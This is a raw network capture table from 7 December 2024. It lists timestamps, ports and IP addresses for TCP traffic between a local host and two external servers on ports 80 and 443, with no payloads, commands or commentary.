Dec 7, 2024 08:43:44.011358976 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.011404991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.011468887 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.011513948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.012201071 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.012221098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.012249947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.012264967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.013032913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.013082981 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.013174057 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.013221979 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.013986111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.014039040 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.014095068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.014134884 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.014713049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.014760971 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.014899969 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.014946938 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.015645027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.015692949 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.016005039 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.016052008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.016385078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.016433001 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.016490936 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.016536951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.017213106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.017250061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.078895092 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.078978062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.079042912 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.079279900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.079327106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.079379082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.079427958 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.080053091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.080097914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.080147028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.080199003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.080889940 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.080936909 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.080980062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.081024885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.081752062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.081862926 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.081912041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.082585096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.082632065 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.082659960 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.082696915 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.083426952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.083471060 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.083548069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.083590984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.084235907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.084284067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.084338903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.084382057 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.085089922 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.085134983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.085163116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.085206032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.085915089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.086031914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.086080074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.086833000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.086879015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.115531921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.235368013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.552820921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.552902937 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.552983999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.553039074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.553085089 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.553203106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.553241014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.554083109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.554225922 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.554374933 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.554749012 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.554801941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.554879904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.554922104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.555612087 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.555665016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.555721045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.555773020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.556427002 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.556471109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.556551933 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.556591988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.557334900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.557384014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.557430983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.558144093 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.558187008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.558253050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.558294058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.559010029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.559055090 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.559108973 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.559154034 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.559791088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.559838057 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.559926033 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.559971094 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.560620070 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.560664892 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.560736895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.560780048 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.561522961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.561631918 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.561677933 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.562335968 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.562382936 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.562453985 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.562496901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.563194990 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.563245058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.563277960 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.563330889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.564048052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.564095020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.564151049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.564193964 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.564892054 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.564938068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.564999104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.565035105 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.565711021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.565853119 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.565905094 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.566557884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.566603899 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.566680908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.566723108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.567409039 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.567456961 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.567521095 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.567564964 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.568238020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.568283081 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.568353891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.568397999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.569097996 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.569145918 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.569179058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.569216967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.569942951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.570076942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.570122957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.570811987 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.570858002 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.571794987 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.571808100 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.571820021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.571835995 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.571856022 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.572483063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.572923899 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.572969913 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.573369026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.574011087 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.574064016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.574276924 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.574289083 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.574317932 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.575069904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.575114965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.575355053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.575402021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.575838089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.575881004 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.576109886 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.576155901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.576694012 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.576735020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.576821089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.576865911 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.577550888 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.577792883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.577837944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.578372955 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.578423977 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.578984976 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.579231977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.579243898 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:44.579277992 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.579303980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:44.786168098 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.787621975 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.787990093 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.788330078 CET	49781	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.788331032 CET	49782	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.788350105 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.788357019 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.788767099 CET	49781	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.788773060 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.788784027 CET	49782	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.788789988 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.789084911 CET	49783	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.789093018 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.789431095 CET	49783	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.789434910 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.793215990 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.793545961 CET	49780	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.793560028 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.793926001 CET	49780	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.793930054 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.910119057 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.910664082 CET	49784	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.910684109 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:44.911252975 CET	49784	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:44.911257982 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.088476896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:45.088516951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:45.208282948 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:45.208328962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:45.220980883 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.221051931 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.221101046 CET	49782	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.222044945 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.222094059 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.222136974 CET	49781	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.222430944 CET	49782	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.222448111 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.222459078 CET	49782	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.222464085 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.222529888 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.222580910 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.222620010 CET	49783	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.223709106 CET	49783	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.223721981 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.223731041 CET	49783	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.223736048 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.225231886 CET	49781	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.225236893 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.225248098 CET	49781	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.225250006 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.227848053 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.227905035 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.227946043 CET	49780	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.229090929 CET	49780	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.229095936 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.229105949 CET	49780	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.229110003 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.234999895 CET	49786	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.235013962 CET	49785	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.235034943 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.235045910 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.235110998 CET	49786	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.235146999 CET	49785	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.237200022 CET	49787	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.237210989 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.237273932 CET	49787	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.237817049 CET	49788	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.237862110 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.237915039 CET	49788	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.238193035 CET	49788	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.238208055 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.238311052 CET	49786	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.238327026 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.238370895 CET	49785	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.238383055 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.239433050 CET	49787	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.239439964 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.344728947 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.344799042 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.344872952 CET	49784	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.599946976 CET	49784	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.599946976 CET	49784	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.599972010 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.599982977 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.712065935 CET	49789	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.712089062 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:45.712153912 CET	49789	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.712814093 CET	49789	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:45.712826967 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.186494112 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:46.189452887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:46.269865036 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:46.389794111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:46.709311962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:46.709373951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:46.709397078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:46.709498882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:46.709584951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:46.709625006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:46.711930990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:46.831707001 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:46.955252886 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.955877066 CET	49788	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:46.955902100 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.956427097 CET	49788	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:46.956432104 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.957314968 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.957706928 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.957835913 CET	49785	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:46.957859039 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.957882881 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.958179951 CET	49786	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:46.958197117 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.958386898 CET	49785	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:46.958393097 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.958556890 CET	49786	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:46.958563089 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.958774090 CET	49787	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:46.958780050 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:46.959104061 CET	49787	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:46.959108114 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.150768042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:47.150845051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:47.162455082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:47.282176018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:47.390228033 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.390279055 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.390352964 CET	49788	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.390597105 CET	49788	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.390613079 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.390623093 CET	49788	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.390628099 CET	443	49788	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.390825987 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.390872955 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.390928030 CET	49785	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.391038895 CET	49785	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.391057014 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.391067028 CET	49785	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.391072989 CET	443	49785	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.392100096 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.392149925 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.392211914 CET	49787	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.392267942 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.392326117 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.392615080 CET	49787	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.392620087 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.392643929 CET	49787	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.392647982 CET	443	49787	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.392651081 CET	49786	443	192.168.2.5	13.107.246.63
